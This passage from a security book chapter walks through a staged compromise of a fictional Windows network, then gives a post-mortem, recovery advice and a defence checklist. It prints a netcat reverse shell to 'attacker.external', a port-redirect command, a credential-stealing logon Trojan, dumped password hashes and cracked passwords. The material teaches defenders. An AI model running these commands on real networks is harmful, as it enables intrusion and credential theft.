ADMIN$          Special          Remote Admin
SYSVOL          Disk             Logon server share
C$              Special          Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

This is obviously more interesting. This machine must be a DC because the account domains are PYN-DMZ, but the host name is PYN-DMZ-DC. A member server or standalone would have matching hostnames and account domains. By default, Windows Server 2003 Domain Controllers allow anonymous users to get all this information to allow down-level compatibility with Windows NT 4.0 and Windows 9x. The only thing the attacker cannot get is the membership in the Administrators group. This information can be restricted, but honestly, it is not particularly critical. First, an attacker could easily get this information by performing the request using any domain account. Second, if the only thing standing between you and a compromised network is the list of users on your domain, you are in for a rough time. The user list should simply not be particularly sensitive, even though we normally do not want to just hand it out.

For completeness, we also do a port scan:

C:\warez>portscan 172.17.0.2
Port 172.17.0.2:53 open
Port 172.17.0.2:135 open
Port 172.17.0.2:139 open
Port 172.17.0.2:389 open
Port 172.17.0.2:445 open
Port 172.17.0.2:3268 open

Our ports can tells us something interesting. Since port 3268 is listening, this must be a Global Catalog server for the forest. This means that 172.17.0.2 is a highly valuable target. Interestingly, this system does not have Terminal Services enabled.

We still do not know where the _ids account is used. To find out, we enumerate the user accounts used to run services on the various hosts:

C:\warez>serviceuser \\172.17.0.1
IDS                                PYN-DMZ\_ids

Serviceuser also runs anonymously, and we find out what we already suspected—the IDS service is used on the Web server as well, using the account we already have. That is all the information needed to take over that host as well:

C:\warez>net use \\172.17.0.1\c$ /u:pyn-dmz\_ids idsPasswd!
The command completed successfully.

We have successfully taken over the Web server! This is shown in Figure 2-1b.

Here is a summary of the operational practices that got us to this point:

• We have complete connectivity between the database server and the Web server; there is no internal traffic filtering. In Chapter 9, we cover a technique to analyze what kinds of traffic you do need to allow and what to restrict on your internal network.
• We were able to retrieve a lot of information about the targets on the network over anonymous connections. This is enabled for down-level compatibility and is often not necessary in up-to-date networks. In fact, we consider killing Windows 9x and NT 4.0 to be of great security benefit! Not only are those systems insecure in today's environment, they require you to render your up-level systems insecure, too. Chapter 12 covers this in more detail.
• There was a service account dependency between the database server and the Web server. A service account dependency is where a system is dependent for its security on another system through a shared service account. Shared service accounts are a prime target for attackers because, contrary to password cracking, there is no time lag in retrieving them. Chapter 8, "Security Dependencies," covers service account dependencies in more detail.

Taking Over the Domain

Now we need to get down to the business of taking over the DMZ domain. Recall that so far we own the database server and the Web server, everything except the domain controller in fact. However, what have we really gained with the Web server? To find out, we need to start by uploading our tools to it and then get a remote command shell on that system just like we did on the database server. It is just a bit simpler now that we have an administrative SMB connection to the Web server. For example, we can now schedule a command or run a remote command utility to upload our warez to the Web server and execute them there. After we have done that, we run Netcat and pop back a remote shell to our attacker host just like we did with the Web server. We start by opening up a Netcat listener on port 12346 on the attacker host. Then we use System Internals excellent psexec tool to upload our warez to the Web server and execute our remote command:

C:\warez\psexec \\pyn-web -d c:\warez\nc -v -e cmd.exe attacker.external 12346

This will generate a remove command shell from the Web server on our attacker, just like from the Web server.

The observant reader may have noticed by now that so far, if you do not count a very graphically deficient Web site, we have not seen so much as a dialog box. Frankly, many attackers (ourselves included) prefer working with a command line because it is often more efficient for attacks However, with two machines compromised, the attacker may also access a graphical user interface (GUI), but will have to resort to some trickery to do so.

The most obvious GUI connection is to use Windows Terminal Services (RDP). RDP listens on port 3389. A port scan of the database server reveals that it also has Terminal Services running:

C:\warez>portscan 172.17.0.3
Port 172.17.0.3:135 open
Port 172.17.0.3:139 open
Port 172.17.0.3:445 open
Port 172.17.0.3:1433 open
Port 172.17.0.3:3389 open

The problem is that we cannot just rebind Terminal Services to use that port. If we were to do that, it would be highly noticeable. Stealth is critical to attackers, so we have to do something else. That something else is a port redirector.

Recall that we only had two ports open on the firewall, 80 and 443. Also remember that there was nothing listening on port 443 on the Web server. If we needed to open a listener somewhere, that would be a great port to use. If only required ports are open in the firewall, the attacker would have to disrupt an existing service, however briefly, to set up a listener. However, if there are unused ports open in the firewall, we can set up a port redirector without disrupting operations and risk tipping off the legitimate administrators.

A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, we can set up a port redirector on the Web server that will take incoming traffic on port 443 and send it out to port 3389 on the database server. Breaking with the tradition of not shipping attack tools with the OS, Microsoft now ships a port redirector with IPv6:

C:\warez>netsh interface portproxy add v4tov4 listenport=443 connectaddress=PYN-SQL connectport=3389

If IPv6 is installed, the netsh tool is extended to include a port proxy. This functionality is designed to map an IPv6 port to an IPv4 port (more correctly, a transport layer port on top of IPv6 to another transport layer port on IPv4) to enable IPv6 traversal on IPv4 networks.

If the compromised host does not have IPv6, the attacker would either need to install it or use a custom attack tool. Since the Web server has IPv6 in this case, however, we can use the built-in functionality. With that socket open, all we do is establish to the Web server connection using our ordinary Terminal Services client. Note that we tell the client to connect to the Web server, not to the database server. The port redirector takes care of forwarding our traffic to the database server.

mstsc /v:www.victimsrus.com:443

The result is easy to see in Figure 2-6. We can now log on with our _IDS user account. Once there, we have the full power of a GUI.

Going back to the Web server for a moment, we still do not know who the administrators are on that server because dumpinfo would not tell us. We can use the built-in tools to find out:

C:\warez>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

---------------------------------------------------------------
PYN-DMZ\_ids
Administrator
PYN-DMZ\Domain Admins
The command completed successfully.

This is actually highly interesting. There are not many accounts here. We only see the service account we have already found, the local Administrator, and the Domain Admins. That probably means that when they need to administer the system, the administrators use an account in the Domain Admins group. That is really good to know, because it opens the possibility of using a Trojan horse program to make one of those users take over the domain for us.

Generally speaking, an attacker would rather use a direct attack because they give faster results. However, if all else fails, we will resort to a passive attack to accomplish our goal. A Trojan is one form of such an attack, and in this case, we are going to turn the logon process into a Trojan.

To do so, we use yet another custom tool. We will register it on the Web server (172.17.0.1) from our Terminal Services connection on the database server and set it up to notify our attacker, 192.168.2.112, as shown in Figure 2-7.

The Trojan is self-registering and installs itself in a couple of places. First, it installs a "credential manager." A credential manager may be legitimately used to connect to other systems using the credentials you logged on to this system with. Because it receives cleartext credentials to do this, it may be illegitimately used to capture cleartext passwords any time anyone logs on. Now consider this, what is the first thing the admin is likely to do if something seems amiss with a system? Far too often, the answer is "log on." As soon as that happens, the attacker gets this handy notification:

C:\ >nc -l -p 80
Authentication
Type=MSV1_0:Interactive
Station Name=WinSta0
User=PYN-DMZ\Administrator
Password="Test1234"

In this case, the notification is going to the attacker host via port 80. We just set up Netcat on that host and told it to echo everything sent to it to the screen. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. However, notifications could be encrypted, encoded, come over just about any port or protocol, and altered in myriad ways. Attackers often use Internet Relay Chat (IRC), for instance. We have also seen several Trojans that implement encryption of all notifications, although we have yet to see one that does a very good job on key exchange.

The Trojan also puts a link to itself in HKLM\Software\Microsoft\ Windows\CurrentVersion\Run. When it gets called, it determines whether the user logging on is a domain administrator. If so, the Trojan, which is now executing in the context of that user, creates a new user account on the domain and then adds that account to the Domain Admins group. (The credential manager runs as LocalSystem, and cannot perform this task, which is why this is done by the portion under the Run key instead.) If it was successful in creating the new user, it sends a notification to the attacker over the same notification channel used previously:

Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
Domain: PYN-DMZ
DC: PYN-DMZ-DC

Finally, the Trojan removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to him.

Credential managers, as mentioned earlier, are used to connect transparently to other systems using the credentials you logged on to this system with. This is all part of that great panacea of system administration—single sign-on. However, if you change your password on this system, you also need to change it on the other system. Therefore, the credential manager can also synchronize passwords across systems, and it gets called on password change to do so. Now consider what the administrator would do if he suspected the system had been compromised and his password stolen? Changing the password seems like a good idea here, so he goes ahead and does that. The attacker now gets another notification:

Password Change
Type=MSV1_0:Interactive
Station Name=WinSta0
User=PYN-DMZ\Administrator
Old Password="Test1234"
New Password="Test12345"

Do we need to state it any more clearly than this? Once the bad guy can run code as a domain administrator, your network ain't your network any longer. That network is now completely untrustworthy.

At this point, as shown in Figure 2-1c, the DMZ domain has fallen. We now have full access to the keeper of the keys to the kingdom. Those keys consist of, among other things, the user accounts database, which we will get to shortly, right after we pop back another remote command shell just like before.

As soon as the attacker takes over a domain controller, the first act is usually to extract all user accounts and password hashes from the domain controller. Because we have administrative privileges, doing so is a simple matter of running the very popular PWDump tool. Doing so results in output such as this:

C:\warez>pwdump2.exe
Administrator:500:624aac413795cdc1ff17365faf1ffe89:b9e0cfceaf6d077970306a2fd88a7c0a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:28237c666e4bb3cc96d670cadca1593b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:cd072175763b0d5b3fbb152f57b96e7c:::
Alex:1106:daf058ae79085db217306d272a9441bb:c43325fdf77cafacf02f6e3eaa7f5020:::
Bob:1107:1df8f06dcf78bb3aaad3b435b51404ee:2408f92ab284046ddcc6952755f449e2:::
Cecil:1108:dbff4b96d021df2f93e28745b8bf4ba6:bbd9477810308a0b676f3cda91f10539:::
Denise:1109:d278e69987353c4c837daf3f2ddd5ca3:2c67b571425751747e7ae379fefe9fcc:::
Eric:1110:693de7f320aae76293e28745b8bf4ba6:fb853a32ccd2b92b43639b0e7d29e09d:::
Fred:1111:ea03148efb24d7fc5be30f58d2a941d5:18cce97ee181d42be654133658723813:::
George:1112:6c32f38de08f49f026f8092a33daaf05:a88b78471261477e26d9e4c11571b127:::
Henry:1113:49901659efc5e1d6aad3b435b51404ee:d986300c7c0c33d3cc5417dbac6f90db:::
Irene:1114:d6855d70abc371c2b77b4e7109416ab8:363c93e6be7a5cb001e7ad542c292f26:::
...

Full details on how to interpret this output are available in Chapter 11. For now, it is sufficient to know that Windows by default stores two different password representations: the LM "hash" (which is not actually a hash) and the NT hash. From this output, we can tell that this system stores the LM hashes. (For information on how, turn to Chapter 11.) This is good (bad?) news because it is so much easier to crack those. Feeding this output into our favorite password cracker, we soon get output as shown in Table 2-2.

Table 2-2. Password Cracker Output

USERNAME	LANMAN PASSWORD	LESS THAN EIGHT	NTLM PASSWORD	CRACK TIME	CRACK METHOD
Alex	ARIA_DNE		aria_Dne	0d 16h 52m 34s	Brute Force
Bob	_WILLAA	x	_WillAA	0d 1h 16m 8s	Brute Force
Cecil	???????S
Denise	DECEMBE(R		deceMbe(r	0d 0h 0m 43s	Brute Force
Eric	SHIVE*RS		shiVe*rs	0d 22h 36m 14s	Brute Force
Fred	AMORP(HOUS		aMorp(hous	0d 10h 41m 50s	Brute Force
George	P+AINLESS		p+aiNless	0d 6h 18m 4s	Brute Force
Henry	COFFEE`	x	coffEe`	0d 0h 0m 1s	Hybrid
Irene	MICH~ELLE		micH~elle	0d 14h 30m 26s	Brute Force
Julie		x
Kurt	NY^QUIST		Ny^quist	0d 22h 56m 17s	Brute Force
Laura	F_ERMAT	x	f_ermAt	0d 23h 56m 21s	Brute Force
Maggie	FISHE)RS		fiShe)rs	0d 22h 39m 2s	Brute Force
Teddy	AMORP(HOUS		aMorp(hous	0d 10h 41m 50s	Brute Force
Mike	YOSEMITE^		yosemiTe^	0d 0h 0m 1s	Hybrid

As you can see from Table 2-2, within 24 hours we have cracked most of the passwords on this system; and these are not bad passwords! We cracked three in less than a minute. A real attacker may crack passwords even faster. Tools are available that trade off storage space for cracking speed, greatly decreasing crack time. For a full discussion, turn to Chapter 11.

While the crack is going on, we will continue with learning more about the network:

C:\warez>ipconfig /all

Windows IP Configuration

   Host Name      . . . . . . . . . . .: PYN-DMZ-DC
   Primary Dns Suffix     . . . . . . .: PYN-DMZ.LOCAL
   Node Type      . . . . . . . . . . .: Unknown
   IP Routing Enabled     . . . . . . .: Yes
   WINS Proxy Enabled     . . . . . . .: No
   DNS Suffix Search List     . . . . .: PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

   Connection-specific DNS Suffix   . .
   Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter(Generic) #2
   Physical Address     . . . . . . . .: 00-03-FF-06-3E-F0
   DHCP Enabled     . . . . . . . . . .: No
   IP Address       . . . . . . . . . .: 10.1.2.16
   Subnet Mask      . . . . . . . . . .: 255.255.255.0
   Default Gateway      . . . . . . . .:
   DNS Servers      . . . . . . . . . .: 172.17.0.2

Ethernet adapter DMZNet:

   Connection-specific DNS Suffix  . :
   Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter (Generic)
   Physical Address     . . . . . . . .: 00-03-FF-07-3E-F0
   DHCP Enabled     . . . . . . . . . .: No
   IP Address       . . . . . . . . . .: 172.17.0.2
   Subnet Mask      . . . . . . . . . .: 255.255.255.0
   Default Gateway      . . . . . . . .: 172.17.0.1
   DNS Servers    . . . . . . . . . . .: 172.17.0.2

This output is extremely interesting. The DC is not only dual-homed, it is dual-homed on the corporate network and the DMZ. This is sometimes done in order to be able to use user accounts from one domain in another. Regardless of the reasons, the corporate network is the ultimate target, so the attack proceeds by footprinting that network:

C:\warez>discoverHosts 10.1.2
Reply from 10.1.2.16: bytes=32 time<1ms TTL=128
Reply from 10.1.2.17: bytes=32 time=54ms TTL=128

16 is obviously the data center DC, but 17 is a new host that we have not seen before. Using another anonymous enumeration tool, we can get some more information on it:

C:\warez>getSystemDetails 10.1.2.17
Name: PYN-CORPDC
Domain: PYN
OS Version: 5.2

Server details:
Workstation service
Server service
Domain Controller
NTP Time source

17 is the domain controller we were looking for. We can tell that it is running Windows Server 2003, but not much else about it. Next we dump out the users:

C:\warez>dumpinfo 10.1.2.17

The Administrator is:   PYN\Administrator

Users on PYN-CORPDC:
RID 1000        PYN\HelpServicesGroup   an Alias
RID 1001        PYN\SUPPORT_388945a0    a User
RID 1002        PYN\TelnetClients       an Alias
RID 1003        PYN\PYN-CORPDC$ a User
RID 1104        PYN\Aaron     a User
RID 1105        PYN\Billy     a User
RID 1106        PYN\Chuck    a User
RID 1107        PYN\Dylan      a User
RID 1108        PYN\Ellen     a User
RID 1109        PYN\Frank      a User
RID 1110        PYN\Tom     a User
RID 1111        PYN\Dick       a User
RID 1112        PYN\Harry       a User
RID 1113        PYN\Ingrid   a User
RID 1114        PYN\Jennifer    a User
RID 1115        PYN\Maggie   a User
RID 1116        PYN\Teddy   a User
RID 1117        PYN\Mike   a User
RID 1118        PYN\McKenzie   a User...

Share           Type         Comment
IPC$            Unknown      Remote IPC
NETLOGON        Disk         Logon server share
ADMIN$          Special      Remote Admin
SYSVOL          Disk         Logon server share
C$              Special      Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

This system has far more users than the other ones we have seen. (The output above has been truncated for brevity.) That is to be expected though, because this is the main corporate DC. We also find several users who also had accounts on the DMZ DC. In fact, there is one whose passwords we cracked in seconds. It is probably reasonable to expect that users who have administrative accounts in the DMZ also have administrative accounts in the corporate network, and the chances that they use the same password on both networks are usually really good. For these reasons, most attackers would probably just go try any duplicated accounts. So far the attack has been very stealthy, and if it does not work there will be a single failed logon, which is an acceptable risk in most cases.

C:\warez>net use \\pyn-corpdc\c$ /u:pyn\Mike "yosemiTe^"
The command completed successfully.

That's it. As shown in Figure 2-1d, this network has now been completely compromised!

At this point the attacker could take whatever action is desired. Potential options would be to scavenge the network for data, steal confidential information, add him or herself to the payroll, use the network to attack some other network such as a business partner, and so on. The attacker now has complete and unrestricted access to the entire victimsrus.com network.

Post-mortem

It is useful here to step back and summarize which operational practices we have exploited to take over the two domain controllers:

• The firewall had a port open that was not actually used on an internal host. Using a port redirection tool, we were able to get a GUI shell through that port. For more information on how to mitigate this type of attack, turn to Chapter 7.
• Next we used the extremely common administrative practice of using high-level accounts to log on to untrusted servers. Using high-security credentials on low-security machines compromises high-security machines. This practice, known as an administrative dependency, is discussed in detail in Chapter 8.
• After we took over the data center DC, it was a simple task to dump out the password hashes and crack those. Although password hashes theoretically do not represent a vulnerability in and of themselves—the vulnerability is allowing untrusted users access to them—several users had passwords that were easy to crack. For more information on why, and how to avoid it, refer to Chapter 11.
• We then found a flawed network segmentation that allowed us unrestricted access from the DMZ DC to the corporate network. This allows us to exploit any dependencies between systems in the DMZ and those on the corporate network. Information on how to design a proper logical segmentation is available in Chapter 9.
• Finally, we used another form of administrative dependencies by exploiting the fact that at least one user had administrative accounts on both the DMZ network and the corporate network; and used the same password for both accounts. More information on these kinds of administrative dependencies and how to detect them is available in Chapter 8.

How to Get an Attacker Out of Your Network

After the network has been compromised, as the system administrator you now have a couple of options for how to deal with the compromise:

• Update your resumé
• Hope the hacker does a good job running the network (say, better than you did?)
• Drain the network

Cleaning out the attacker is not a viable option. There are probably Trojans all over the network by now, new accounts in strategic places, back doors, and all manner of other attacker tradecraft to ensure that all the attacker's hard work is not wasted. Cleaning attackers out of a network works on the same principle as cleaning undesirable liquids out of a pool. No amount of drain cleaner or chlorine poured into the pool is going to accomplish that job. Consider the following common practices when cleaning a hacked system:

• You cannot clean a compromised system by patching it. Patching only removes the vulnerability. After the attacker got into your system, he probably ensured there were several other ways to get back in.
• You cannot clean a compromised system by removing the back doors. Attackers will put back doors into any system they need in the future, and the better the attacker, the stealthier the back door. Although you may be able to find these back doors if you can load the current state of the system onto a known good host and compare it to known pre-attack snapshot, you can never guarantee that you found all the back doors the attacker put in. The fact that you cannot find any more may only mean you do not know where to look—or that the system is so compromised that what you are seeing is not actually what is there. Looking at the system while it is running is meaningless, because the attacker will show you things that do not exist and hide those that do, to make you believe the system is clean.
• You cannot clean a compromised system by using some vulnerability remover. Suppose you had a system hit by Blaster. A number of vendors published vulnerability removers for Blaster. Can you trust a system that had Blaster after the tool is run? We would not. If the system was vulnerable to Blaster, it was also vulnerable to a number of other attacks. Can you guarantee that none of those have been run against it?
• You cannot clean a compromised system by using a virus scanner. A fully compromised system cannot be trusted to tell you the truth. Even virus scanners must at some level rely on the system to not lie to them. If they ask whether a particular file is present, the attacker may simply have a tool in place that lies about it. Note that if you can guarantee that the only thing that compromised the system was a particular virus or worm, AND you know that this virus has no back doors associated with it, AND the vulnerability used by the virus was not available remotely, THEN you can use a virus scanner to clean the system. For example, the vast majority of e-mail worms rely on a user opening an attachment. In this particular case, it is possible that the only infection on the system is the one that came from the attachment containing the worm. However, if the vulnerability used by the worm was available remotely without user action and you cannot guarantee that the worm was the only thing that used that vulnerability, the system may be more compromised than it appears. In addition, if the user double-clicked the e-mail attachment titled "FREEPORNHERE," which other e-mail attachments did he run? In general, give a user a choice between dancing pigs and security and you find that dancing pigs win just about every time. We would rather just flatten the system and rebuild it to be assured of a clean system.
• You cannot clean a compromised system by reinstalling the operating system over the existing installation. Again, the attacker may very well have tools in place that lie to the installer. If that happens, the installer may not actually remove the compromised files. In addition, the attacker may also have installed back doors in non-operating system components.
• You cannot trust any data copied from a compromised system. After an attacker gets into a system, all the data on it may be modified. Copying data off of a compromised system and putting it on a clean system will in the best-case scenario give you potentially untrustworthy data. In the worst-case scenario, you may actually have copied a Trojan or back door hidden in the data.
• You cannot trust the event logs on a compromised system. After an attacker gets full access to a system, it is simple to modify the event logs to cover his tracks. If you rely on the event logs to tell you what the attacker has done to your system, you may just be reading what he wants you to read. If you can synchronously get the logs off the system before the action the attacker is taking is completed, you may trust the logs. However, if the logs are copied asynchronously (i.e., while the action is proceeding) or after the fact, those logs may be compromised as well.
• You may not be able to trust your latest backup. How can you tell when the original attack took place? The event logs may not be trustworthy enough to tell you. Without that knowledge, your latest backup is useless. It may be a backup that includes all the back doors currently on the system.
• The only proper way to clean a compromised system is to flatten and rebuild. A system that has been completely compromised should be wiped clean and rebuilt from scratch. Alternatively, you could of course work on your resumé instead, but we do not want to see you doing that.

If you consider the alternatives, it seems highly worthwhile to spend some effort to keep systems from getting hacked in the first place. In the rest of this book, we look at all the things we can do to protect our networks. To see a summary of the steps used in the attack, see Appendix A, "How to Get Your Network Hacked in 10 Easy Steps."

Summary

In this chapter we have examined, in rather excruciating detail, how a network may get hacked. This chapter does not prove that Windows-based networks are any less secure than any other network. Although the specifics of the attack demonstrated in this chapter are unique to Windows, minor modifications to the techniques and a new tool set would make the same compromise possible on any network running any platform. The problem is not the platform, it is in the practices. All platforms are securable, but all networks are exploitable if they are not architected and implemented carefully. The techniques may vary, but the end result does not. Poor implementation is poor implementation, regardless of the underlying platform.

We also showed that exploiting a network is entirely possible using only operational security problems. Note that we did not exploit a single vulnerability in the platform. The only actual programmatic vulnerability we exploited was in a custom Web application. We even were able to do this on a network where every host was fully patched! Patching alone is not the be-all and end-all of security. Patching is critical, but it is also important to understand what you accomplish by patching; it just allows you to focus on the architecture and implementation of your network.

Finally, we cannot stress enough that understanding the patterns and practices that an attacker exploits is crucial to understanding how to protect a network. This does not mean that the system and security administrators need to be capable of actually exploiting all these problems. They just need to understand what an attacker can do with them to gain an appreciation for how to protect against them. In the end, do we need to protect against all of these problems? No, probably not. It is all about risk management. In Chapter 4, "Developing Security Policies," we discuss security policies. Your security policy needs to cover which types of risks you are willing to accept to gain some functionality and ease of use. Do not forget the fundamental tradeoff between security, usability, and cost. Since most networks are designed in the face of limited resources, the policy needs to tell us which tradeoffs are acceptable. The rest of the book deals with all of these issues—and ultimately helps you design and implement networks protected against the risks you are unwilling to absorb.

What You Should Do Today

• Investigate the security practices of any business partners who have connections into your network.
• Close down all unnecessary holes in your firewall.
• Filter outbound traffic on your firewall.
• Patch everything.
• Start thinking about attack-surface reduction on your hosts.

© 2024 Pearson Education, Informit. All rights reserved.

800 East 96th Street, Indianapolis, Indiana 46240